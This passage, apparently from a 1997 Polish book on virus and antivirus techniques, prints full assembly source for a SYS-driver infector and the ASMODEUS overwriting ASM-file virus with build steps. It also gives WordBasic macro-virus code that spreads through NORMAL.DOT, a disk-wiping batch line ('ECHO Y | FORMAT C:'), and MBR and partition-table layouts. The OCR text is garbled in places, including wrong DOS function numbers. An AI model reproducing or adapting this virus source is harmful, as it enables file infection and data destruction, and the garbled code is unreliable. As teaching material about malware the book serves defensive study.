                                           ; wez 4 bajty z pliku do AX i DX 
    mov   dx,word ptr [si][CzytNagl.NaglAdres+2] 
 
    cmp   ax,0FFFFh                        ; czy AX=0FFFFh ? 
    jne   ZamknijPlik                      ; NIE - szukaj innego plik 
 
    cmp   ax,dx                            ; czy AX=DX=0FFFFh ? 

background image

    jne   ZamknijPlik                      ; NIE - szukaj inny plik 
                                           ; TAK - na poczatku pliku jest 
                                           ; 0FFFFFFFFh 
 
    mov   ax,word ptr [si][CzytNagl.NaglPrzerwanie] 
    mov   [si][StarePrzerwanie],ax         ; wez adres przerwania 
 
    xor   cx,cx                            ; \ zeruj CX:DX zawierajace 
    xor   dx,dx                            ; / adres wzgledem konca pliku 
    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na koniec pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   [si][CzytNAGL.NaglPrzerwanie],ax 
 
    mov   cx,VirusDlug                     ; ilosc zapisywanych bajtow 
    lea   dx,[si][VirusStart]              ; podaj skad zapisac wirusa 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    xor   cx,cx                            ; \ CX:DX zawieraja 
    xor   dx,dx                            ; / adres wzgledem poczatku pliku 
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na poczatek pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1 to blad 
 
    mov   cx,size NAGL                     ; ilosc zapisywanych bajtow 
    lea   dx,[si][CzytNAGL]                ; podaj skad zapisac 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,[si][NoweDTA.DTATime]         ; przywroc czas z bufora DTA 
    mov   dx,VZnacznik                     ; zaznacz infekcje pliku 
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas 
    int   21h                              ; wywolaj funkcje DOS 
 
ZamknijPlik: 

background image

    mov   ah,3Eh                           ; funkcja DOS - zamknij plik 
    int   21h                              ; wywolaj funkcje DOS 
 
PrzywrocAtrybut: 
    mov   cl,[si][NoweDTA.DTAAttr]         ; podaj stary atrybut 
    mov   ch,0                             ; CX=CL 
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    int   21h                              ; wywolaj funkcje DOS 
 
SzukajNastepnyPlik:                        ; poprzedni plik byl zarazony 
    mov   ah,4Fh                           ; funkcja DOS - szukaj innego 
                                           ; pliku SYS 
    int   21h                              ; wywolaj funkcje DOS 
    jnc   KolejnyPlik                      ; gdy CF=1, to blad 
 
 
NieMaPlikuSYS: 
    lds   dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA 
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA 
    int   21h                              ; wywolaj funkcje DOS 
 
BezInfekcji: 
 
    pop    es                              ; \ 
    pop    ds                              ;  \ 
    pop    di                              ;   \    przywroc 
    pop    si                              ;    \   zmieniane 
    pop    dx                              ;    /   rejestry 
    pop    cx                              ;   / 
    pop    bx                              ;  / 
    pop    ax                              ; / 
 
    db 0EAh                                ; powrot do nosiciela 
    SkokIP dw ? 
    SkokCS dw ? 
 
MaskaSYS       db '*.SIS'                  ; maska plikow SYS (ASCIIZ) 
 
; Czesc Informayjna                        ; wyswietla pytanie do uzytkownika 
Informacja:                                ; czy chce uruchomic wirusa 

background image

    push  ax si 
    cld 
    mov  si,dx 
NastepnyZnak: 
    lods  byte ptr cs:[si]                ; kolejny znak komunikatu 
    or    al,al                           ; czy koniec tekstu ? 
    jz    InformacjaTxtOK                 ; TAK - koniec pisania 
 
    mov   ah,0Eh                          ; pisz znak z AL 
    int   10h                             ; 
 
    jmp   short NastepnyZnak 
 
InformacjaTxtOK: 
 
    mov   ah,0 
    int   16h 
 
    and   al,11011111b                     ; konwertuj znak na wielka litere 
    cmp   al,'T'                           ; czy potwierdzona infekcja 
    clc                                    ; ustaw flage na TAK 
    je    CLCRet                           ; TAK i powrot 
    stc                                    ; ustaw flage na NIE i powrot 
CLCRet: 
    pop  si ax 
    ret                                    ; powrot 
 
TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997' 
             db CR,LF 
             db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?' 
             db CR,LF,NUL 
             StarePrzerwanie dw offset Nosiciel 
 
VirusEnd: 
NoweDTA        DTAStruc <?,?,?,?,?,?> 
DTASegOfs      dd ? 
CzytNagl       NAGL <> 
 
 
ProceduraStrategii:                        ; na wejsciu ES:BX adres 
                                           ; do pakietu zlecenia 

background image

    mov    word ptr cs:[AdresZlecenia],bx  ; \ pobierz adres i zachowaj 
    mov    word ptr cs:[AdresZlecenia+2],es; / go na pozniej 
 
    retf                                   ; powrot z procedury 
                                           ; strategii 
 
AdresZlecenia  dd ? 
 
Nosiciel: 
    push   ds ax bx 
 
    lds    bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu 
                                           ; zlecenia 
 
    xor    ax,ax                           ; 
    mov    word ptr ds:[bx+0Eh],ax         ; 
    mov    word ptr ds:[bx+10h],cs         ; 
    mov    byte ptr ds:[bx+0Dh],1          ; 
    mov    word ptr ds:[bx+03h],8102h      ; 
 
 
    pop    bx ax ds 
    retf 
 
SYZYF ENDS 
      END Start 
 
4.1.4. Pliki systemowe DOS 
4.1.4.1. Interpretator poleceń 
Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega 
tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych 
wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w 
otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu 
DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po 
znalezieniu od razu go infekują. 
Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego 
kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W 
rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z 
interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a 
wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto 
pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar 
przezn

aczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam 

kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku 

background image

niezmienioną (pomimo zmienionej zawartości). 
4.1.4.2. Jądro systemu (ang. kernel infector) 
Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej 
realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym 
sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze 
bardziej przy

pominającej pliki COM lub EXE, tak więc próby infekowania go jako 

sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie 
komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w 
innym miejscu na dysku 

(najczęściej w jakiś sposób ukrytym), a na początek pliku 

IO.SYS nadpisują swój kod. Po starcie systemu 
program zawarty w BOOT-

sektorze, ładuje zainfekowany plik. Sterowanie 

przekazywane jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i 
oddaje do niego sterowanie. 
4.1.5. Pliki wsadowe BAT 
Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują 
pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać: 
> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/ 
        REM, RD, REN, SET, SHIFT, TYPE; 
> parametry wejściowe: %0 nazwa programu, %1-%9 parametry 
        programu; 
> operatory zmiany przyporządkowania strumieni wejściowych i 
       

wyjściowych: <, >, », |; 

> nazwy zarezerwowane przez system DOS: urządzenie NUL; 
> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,   
        FIND, FORMAT; sterownik ANSI.SYS; 
> pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod   
        maszynowy (opisane w jednym z poprzednich rozdzia

łów). 

 
Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni 
wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej 
destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia 
przez użytkownika, który może zgodzić się lub nie na dokonywaną operację. Zmiana 
przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika 
jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację. 
W efekcie polecen

ie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika! 

Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować, 
iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu. 
Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie 
sformatowany. 
ECHO Y | FORMAT C:        NUL 
Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych 
plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt 
miłymi konsekwencjami. 
 
4.1.6. Pliki DOC 
Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy 
przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten 

background image

program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać 
już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program 
ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej, 
znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub 
zamykanego dokumentu. 
Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro 
AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku 
NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych 
stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany 
(zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na 
przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego 
makr wirusa. Ope

racja ta musi być wykonywana, ponieważ zwykły plik DOC nie może 

zawierać w sobie definicji makr. 
Makra MS Word o ustalonym znaczeniu 
Nazwa makra 

Opis makra 

AutoExec 

uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem 
z szablonu globalnego zawartego w pliku NORMAL.DAT 

AutoNew   

uruchamiane podczas tworzenia nowego dokumentu 

AutoOpen 

uruchamiane podczas otwierania dokumentu   

AutoClose 

uruchamiane podczas zamykania dokumentu 

AutoExit 

uruchamiane podczas kończenia pracy z Wordem 

 
Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który 
składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików 
DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT 
dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w 
rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych 
makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację 
tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ, 
Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie 
wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie 
operacji). 
Zawartość makra: AutoOpen 
Sub MAIN 
On Error Goto AutoOpen_Error 
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe, 
Autor Adam B│aszczyk" 
Uwg$ = "Uwaga MakroWirus, Chcesz go zainstalowaŠ ?" TiN = 256 +48+4 Prz = 
MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ":AutoOpen", 
"Globalne:AutoOpen" MacroCopy WindowName$() + ":FileSave", 
"Globalne:FileSave" 
MsgBox "Wirus dopisa│ siŕ do NORMAL.DOT, Sam tego chcia│eť !!!", Tyt$, 64 
End If AutoOpen_Error: 
End Sub 
Zawartość makra: FileSave 

background image

Sub MA1N FileSave On Error Goto FileSave_Error 
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe, 
Autor Adan B│aszczyk" Uwg$ = "Czy chcesz zainfekowaŠ '" + WindowName$() + "' 
makrowirusem ?" 
TiN = 256 +48+4 
Prz = MsgBox(Uwg$, Tyt$, TiN) 
If (Prz = - 1) Then 
MacroCopy "Globalne:AutoOpen", WindowName$() + 
":AutoOpen" MacroCopy "Globalne: FileSave" , WindowName$ () + 
":FileSave" FileSaveAs .Format - l 
Tek$ = "Wirus dopisa│ siŕ do '" + WindowName$() + "'" MsgBox Tek$, Tyt$, 64 FileSave 
End lf 
rem fileSave 
FileSave_Error: 
End Sub 
Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla 
innych języków zmieniają się nazwy procedur oraz szablonów). 
Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego 
wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth). 
Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas 
kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze 
zawartości takich makr. 
 
4.1.7. Pliki XLS 
Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr, 
które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS 
Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik 
PERSONAL.XLS, inne jest też nazewnictwo makr. Sam sposób działania jest w 
zasadzie identyczny. Poniższa tabela zawiera krótki opis makr automatycznych, 
dostępnych w Excelu. 
Makra MS Excela o ustalonym znaczeniu 
Nazwa makra 

Opis makra 

auto_open   

uruchamiane podczas rozpoczynania pracy 
z Excelem 

auto_close   

uruchamiane podczas zamykania arkusza 

 
4.1.8. Pliki ASM 
Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału. 
Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe. 
Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do 
zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem 
wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program 
może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później 
dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania. 
Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a 

background image

więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma 
dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać 
szesnastkową (jako ciąg DB ??h/??h/.../??h), i w takiej postaci dodać kod wirusa do 
zarażanego programu. 
Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w 
efekcie niszczącego pliki). 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                  ASMODEUS v1.0, Autor : Adam Blaszczyk 1997                ; 
;                                                                            ; 
;              Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM  ; 
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ; 
;                                                                            ; 
; Kompilacja :                                                               ; 
;             TASM     ASMODEUS.ASM                                          ; 
;             TLINK /t ASMODEUS.OBJ                                          ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
.286p 
ASMODEUS SEGMENT 
JUMPS 
         ASSUME CS:ASMODEUS, DS:ASMODEUS 
 
         ORG 100h 
 
    NUL          = 00h                     ; \ 
    LF           = 0Ah                     ;  \ stale znakow 
    CR           = 0Dh                     ;  / ASCII 
    DOLAR        = '$'                     ; / 
 
    AtrReadOnly  = 00000001b               ; \ 
    AtrHidden    = 00000010b               ;  \ 
    AtrSystem    = 00000100b               ;   \ rozne stale atrybutow 
    AtrVolumeID  = 00001000b               ;   / pozycji katalogu 
    AtrDirectory = 00010000b               ;  / 
    AtrArchive   = 00100000b               ; / 
 
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID 
                                           ; atrybut poszukiwanej pozycji 

background image

                                           ; katalogu 
 
VirusDlug           = offset (VirusEnd-VirusStart) 
                                           ; dlugosc kodu wirusa 
ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start) 
                                           ; dlugosc dyrekty z poczatku 
                                           ; pliku ASM (ASSUME, ORG, itd.) 
ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start) 
                                           ; dlugosc dyrekty z konca 
                                           ; pliku ASM (ENDS, END) 
 
VRok          = 1998                       ; \  data opisujaca 
VMiesiac      = 13                         ;  - pliki juz zainfekowane 
VDzien        = 31                         ; / 
 
VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien 
 
DTAStruc struc                             ; struktura DTA bufora transmisji 
                                           ; dyskowych uzywanych przez 
                                           ; funkcje 4E i 4F 
               DTAFill db 21 dup (?)       ; nieistotna czesc 
               DTAAttr db ?                ; atrybut znalezionej pozycji 
               DTATime dw ?                ; czas znalezionej pozycji 
               DTADate dw ?                ; data znalezionej pozycji 
               DTASize dd ?                ; dlugosc znalezionej pozycji 
               DTAName db 13 (?)           ; nazwa znalezionej pozycji 
DTAStruc ends 
 
NoweDTA equ 80h 
 
VirusStart:                                ; tu zaczyna sie kod wirusa 
 
    lea   dx,TeInformacja                  ; podaj, gdzie jest tekst 
    Call  Informacja                       ; spytaj o uruchomienie wirusa 
 
    jnc   Infekcja                         ; CF=1 oznacza nie uruchamiaj 
    jmp   BezInfekcji                      ; NIE - nie infekuj 
 
Infekcja: 
 
    lea   dx,MaskaASM                      ; maska poszukiwanych plikow '*.ASM' 

background image

    mov   cx,Atrybut                       ; podaj atrybut poszukiwanej pozycji 
    mov   ah,4Eh                           ; funkcja DOS - szukaj pierwszej 
                                           ; pozycji katalogu 
    int   21h                              ; wywolaj funkcje DOS 
    jc    BezInfekcji                      ; gdy CF=1, to blad 
 
 
KolejnyPlik: 
    cmp   ds:[NoweDTA.DTADate],VZnacznik   ; czy znaleziony plik jest juz 
                                           ; zarazony ? 
    je    SzukajNastepnyPlik               ; tak = szukaj nastepnego 
 
    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive 
    lea   dx,ds:[NoweDTA.DTAName]          ; podaj nazwe pliku do zmiany 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    int   21h                              ; wywolaj funkcje DOS 
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad 
 
 
    lea   dx,ds:[NoweDTA.DTAName]          ; podaj nazwe pliku do odczytu 
    mov   ax,3d02h                         ; funkcja DOS - otworz plik 
                                           ; do odczytu i zapisu 
    int   21h                              ; wywolaj funkcje DOS 
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad 
 
    xchg  ax,bx                            ; przenies uchwyt pliku do BX 
 
    mov   cx,ASMNaglowek_Rozmiar           ; ile zapisac 
    lea   dx,ASMNaglowek_Start             ; skad pobrac dane 
    mov   ah,40h                           ; funkcja DOS - zapisz do pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    cld                                    ; operacje na lancuchach do przodu 
 
    push  bx                               ; zachowaj uchwyt pliku 
 
    lea   di,Bufor                         ; gdzie zapisywac wynik 
    lea   bx,Hex                           ; gdzie znajduje sie tablica 
                                           ; translacji na znaki heksalne 
    lea   si,VirusStart                    ; gdzie zaczyna sie kod 

background image

    mov   cx,VirusDlug                     ; ilosc bajtow do konwersji 
 
RobHex: 
           mov   ax,'BD'                   ; \ 
           stosw                           ;  \ zapisz sekwencje 
           mov   ax,'0 '                   ;  / 'db 0' 
           stosw                           ; / 
 
           lodsb                           ; pobierz bajt kodu 
           mov   ah,al                     ; zapamietaj na pozniej 
 
           shr   al,4                      ; pobierz 4 gorne bity bajtu kodu 
           xlatb                           ; wez odpowiadajcy mu znak 
           stosb                           ; heksalny i zapisz go 
 
           mov   al,ah                     ; wez zapamietany bajt kodu 
           and   al,15                     ; pobierz 4 dolne bity bajtu kodu 
           xlatb                           ; wez odpowiadajcy mu znak 
           stosb                           ; heksalny i zapisz go 
                                           ; teraz bufor= 'db 0??' 
           mov   al,'h'                    ; zapisz 'h' w buforze 
           stosb 
                                           ; teraz bufor='db 0??h' 
           mov   ax,0A0Dh                  ; zapisz znaki CR,LF 
           stosw 
                                           ; teraz bufor='db 0??h',CR,LF 
    loop RobHex                            ; przetwarzaj caly kod programu 
 
    pop   bx                               ; przwyroc uchwyt pliku 
 
    sub   di,offset Bufor                  ; oblicz, ile bajtow zajmuje bufor 
    mov   cx,di                            ; ile bajtow zapisac 
    lea   dx,Bufor                         ; podaj, skad zapisac wirusa 
                                           ; jako ciag DB ?,?, ... ?,?,? 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,ASMKoncowka_Rozmiar           ; ile zapisac 
    lea   dx,ASMKoncowka_Start             ; skad pobrac dane 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 

background image

    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,ds:[NoweDTA.DTATime]          ; przywroc czas z bufora DTA 
    mov   dx,VZnacznik                     ; zaznacz infekcje pliku 
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas 
    int   21h                              ; wywolaj funkcje DOS 
 
ZamknijPlik: 
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik 
    int   21h                              ; wywolaj funkcje DOS 
 
 
SzukajNastepnyPlik:                        ; poprzedni plik byl zarazony 
    mov   ah,4Fh                           ; funkcja DOS - szukaj innego 
                                           ; plik ASM 
    int   21h                              ; wywolaj funkcje DOS 
    jnc   KolejnyPlik                      ; gdy CF=1, to blad 
 
 
PrzywrocAtrybut: 
    mov   cl,ds:[NoweDTA.DTAAttr]          ; podaj stary atrybut, CH=0 
    lea   dx,ds:[NoweDTA.DTAName]          ; podaj nazwe pliku do zmiany 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    int   21h 
 
BezInfekcji: 
    ret                                    ; koncz program, skocz do PSP:100h 
                                           ; do rozkazu Int 20h 
 
MaskaASM   db '*.ASM'                      ; maska plikow ASM (ASCIIZ) 
 
ASMNaglowek_Start: 
       db 'V SEGMENT',CR,LF 
       db 'ORG 100h',CR,LF 
       db 'Start:',CR,LF 
ASMNaglowek_Koniec: 
ASMKoncowka_Start: 
       db 'V ENDS',CR,LF 
       db 'END Start',CR,LF 
ASMKoncowka_Koniec: 

background image

   Hex db '0123456789ABCDEF' 
 
; Czesc Informayjna 
Informacja: 
    mov   ah,09h                           ; funkcja DOS - wyswietl tekst$ 
    int   21h                              ; wywolaj funkcje DOS 
 
    mov   ah,01h                           ; funkcja DOS - czytaj znak 
                                           ; ze standardowego wejscia 
    int   21h                              ; wywolaj funkcje DOS 
                                           ; AL zawiera znak 
    push  ax                               ; zapamietaj na chwile znak 
 
    mov   ax,0E0Dh                         ; \  przejdz 
    int   10h                              ;  \ do 
    mov   ax,0E0Ah                         ;  / nastepnej 
    int   10h                              ; /  linii 
 
    pop   ax                               ; przywroc znak 
 
    and   al,11011111b                     ; konwertuj znak na wielka litere 
    cmp   al,'T'                           ; czy potwierdzona infekcja 
    clc                                    ; ustaw flage na TAK 
    je    CLCRet                           ; TAK i powrot 
    stc                                    ; ustaw flage na NIE i powrot 
CLCRet: 
    ret                                    ; powrot 
 
TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997' 
             db CR,LF 
             db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?' 
             db DOLAR 
 
VirusEnd: 
   Bufor     db 32768 dup (?) 
 
ASMODEUS ENDS 
END VirusStart 
 
4.2. Sektory systemowe 
Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji 
wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw 

background image

sterowanie do BIOS-

a, który po przeprowadzeniu różnych testów przekazuje kontrolę 

dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku 
zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne 
struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu 
odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych 
systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi 
już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na 
załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano 
poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i 
logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie 
właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z 
tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. 
BOOT-sektore

m. Dokładniejszy ich opis znajduje się dalej. 

 
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR

Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia 
dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany 
sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na 
logiczne party-

cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki 

programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z 
niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości 
tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach. 
Format głównego rekordu ładującego (MBR) 
Adres 

Zawartość 

000 

Program wczytujący system z aktywnej partycji dysku twardego 

1BE 

Opis strefy nr 1 

1CE 

Opis strefy nr 2 

1DE 

Opis strefy nr 3 

1EE 

Opis strefy nr 4 

1FE 

Bajty 055h i 0AAh 

 
Opis jednej strefy w tablicy partycji 
Adres 

Zawartość 

00 

Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego 
80h - strefa zawiera system operacyjny 

01 

Numer głowicy, pod którą zaczyna się strefa 

02-03 

Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane 
następująco (litery odpowiadają kolejnym bitom): 
bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss = 
numer sektora (0-63) CCcccccccc = numer cylindra (0-1023) 

04 

Rodzaj strefy (wg następnej tablicy)   

05 

Numer głowicy, pod którą kończy się strefa 

06-07 

Numer cylindr

a i sektora, pod którymi kończy się strefa, zapisane tak samo 

jak w polu 02h-03h 

08-0B 

Względny numer sektora rozpoczynającego strefę   

0C-0F 

Długość strefy w sektorach 

 

background image

Rodzaje stref wg bajtu z pola 04h w opisie strefy 
Bajt        Rodzaj strefy 
00h        pusta 
01h        DOS 12-bit FAT 
02h        XENIX 
03h        XENIX /usr 
04h        DOSl6-bitFAT(do32M) 
05h        DOS 3.3+ rozszerzona partycja 
06h        DOS 3.31 + Large File System (16-bit FAT) 
07h        QNX 
07h        OS/2 HPFS 
07h        Windows NT NTFS 
07h        Advanced Unix 
08h        OS/2 (tylko v1.0-1.3) 
08h        AIX 
08h        Commodore DOS 
08h        DELL 
09h        AIX 
09h        Coherent 
0Ah        OS/2 Boot Manager 
0Ah        OPUS 
0Ah        Coherent 
0Bh        Windows 95 - 32-bit FAT 
0Ch        Windows 95 - 32-bit FAT (LBA) 
0Eh        zarezerwowane przez Microsoft dla VFAT 
0Fh        zarezerwowane przez Microsoft dla VFAT 
10h        OPUS 
11h        OS/2 Boot Manager 12-bit FAT 
12h        partycja Compaq Diagnostics 
14h        tworzy ją Noyell DOS 7.0 FDISK 
14h        OS/2 Boot Manager 
16h        OS/2 Boot Manager 
17h        OS/2 Boot Manager HPFS 
18h        AST Windows plik wymiany 
21h        zarezerwowana 
23h        zarezerwowana 
24h        NEC MS-DOS 3.x 
26h        zarezerwowana 
31h        zarezerwowana 
33h        zarezerwowana 
34h        zarezerwowana 
36h        zarezerwowana 
3Ch        PowerQuest 
40h        VENIX 80286 
41h        Persona! RISC Boot 
42h        SFS (Secure File System) 
50h        OnTrack Disk Manager 

background image

51h        OnTrack Disk Manager 
51h        NOYELL 
52h        CP/M 
52h        Microport System V/386 
53h        OnTrack Disk Manager 
54h        OnTrack Disk Manager (DDO) 
56h        GoldenBow VFeature 
61h        SpeedStor 
63h        Unix SysV/386 
63h        Mach 
64h        Novell NelWare 286 
65h        NovetlNetWare(3.11) 
67h        Novell 
68h        Novell 
69h        Novell                                _ 
70h        DiskSecure Multi-Boot 
71h        zarezerwowana 
73h        zarezerwowana 
74h        zarezerwowana 
75h        PC/lX 
76h        zarezerwowana 
80h        Minixv1,1 - 1.4a 
81h        Minixv1.4b+ 
81h        Linux 
81h        Mitac Advanced Disk Manager 
82h        Linux Swap 
82h        Prime 
83h        Linux native file system 
84h        OS/2 
86h        zarezerwowana 
87h        HPFS Fault-Tolerant 
93h        Amoeba file system 
94h        Amoeba bad błock table 
A1h        zarezerwowana 
A3h        zarezerwowana 
A4h        zarezerwowana 
A5h        FreeBSD 
A6h        zarezerwowana 
B1h        zarezerwowana 
B3h        zarezerwowana 
